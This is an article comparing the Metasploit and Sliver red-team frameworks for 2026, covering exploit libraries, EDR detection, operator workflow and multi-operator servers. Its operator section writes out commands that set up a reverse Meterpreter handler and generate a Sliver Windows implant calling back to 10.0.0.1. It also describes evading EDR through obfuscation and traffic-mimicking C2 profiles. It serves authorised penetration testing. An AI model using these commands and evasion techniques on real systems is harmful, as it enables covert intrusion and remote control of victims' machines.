Metasploit vs Sliver: post-exploitation frameworks in 2026.

Metasploit Framework has been the canonical post-exploitation tool since 2003. Sliver, the Go-native open-source C2 from BishopFox, has been the canonical "the EDR finally catches MSF" answer since 2020. In 2026 both are widely deployed and the choice between them is not what it was even two years ago.

What each one is good for

Exploit library

This is where Metasploit is still unmatched and probably always will be. It is the largest curated public collection of working exploits, with more than 2,300 modules as of 2026.1 release. New CVEs land within days for the popular ones.

Sliver does not have an exploit library. It is not pretending to. It is a C2 framework — its job starts after the initial foothold. The two are not direct competitors at this stage of the kill chain; they overlap only on post-exploitation, where Sliver has the edge.

Detection: how each one survives

The classic msfvenom-generated Meterpreter payload is recognised by every commodity AV and EDR. It has been for years. You can still use Metasploit operationally — through custom encoders, staged payloads, in-memory loaders, BOFs — but it is real work to evade a tuned EDR.

Sliver's implants are Go binaries that share no signature with anything in the AV cloud. The default profile is not invisible — implant generation produces a binary that any reasonable EDR has now learned — but the surface area for customisation is wider:

• Compile-time obfuscation via --obfuscate (renames functions, mangles strings).
• Multiple transport protocols built in: mTLS, HTTPS, DNS, Wireguard.
• Custom C2 profiles that mimic real applications' traffic patterns.
• Stage-2 loader can be a shellcode, an executable, a shared library, or a service DLL.

In our lab, with CrowdStrike Falcon and Microsoft Defender for Endpoint tuned to standard production policies, a default Meterpreter session lasted under 30 seconds. A default Sliver session lasted long enough to do real work; a customised Sliver session went undetected for a full eight-hour engagement.

Operator experience

Metasploit

$ msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 10.0.0.1
msf6 exploit(multi/handler) > set LPORT 8443
msf6 exploit(multi/handler) > run

Familiar to every pentester who has been working for more than five minutes. Discoverable via tab-completion, predictable, slow to spin up (5–10 seconds for msfconsole to load).

Sliver

$ sliver
sliver > profiles new --mtls 10.0.0.1:8443 --format exe --os windows --arch amd64 win-mtls
sliver > generate --profile win-mtls --save ./impl.exe
sliver > mtls --lhost 10.0.0.1 --lport 8443

Same shape, different vocabulary. Sliver thinks in terms of profiles (a reusable implant configuration) and jobs (running listeners). Once you internalise the model, generating a new implant is a one-liner.

Multi-operator / team server

Metasploit's msgrpc is functional but feels added-on. The expected workflow is one operator per console. There are workarounds (msfrpcd, Cobalt Strike-style wrappers) but none are first-class.

Sliver was designed multi-operator from day one. The server runs once, multiple operator clients connect over mTLS, and shared state — implants, jobs, history — is the default.

Licence and supply-chain considerations

Both are open source — Metasploit BSD-style, Sliver GPLv3. Neither requires payment for use. Metasploit Pro (commercial) exists but the framework is the part everyone actually uses.

Both have been weaponised by criminal groups; both have detection signatures in every major EDR. Using either one in a real engagement requires written authorisation. Sliver's stealth is not a substitute for a rules-of-engagement document.

The recommendation

For learning, for CTFs, for "I just need a foothold on this vulnerable box": Metasploit. Nothing else has the exploit catalogue and nothing else is taught more.

For modern red team engagements, especially internal ones against a mature blue team: Sliver. The detection delta over default Meterpreter is real, and the multi-operator design is what you want when an engagement has more than one person on it.

Most teams end up using both — Metasploit for the initial access, Sliver for everything after. It is not a fork in the road; it is a pipeline.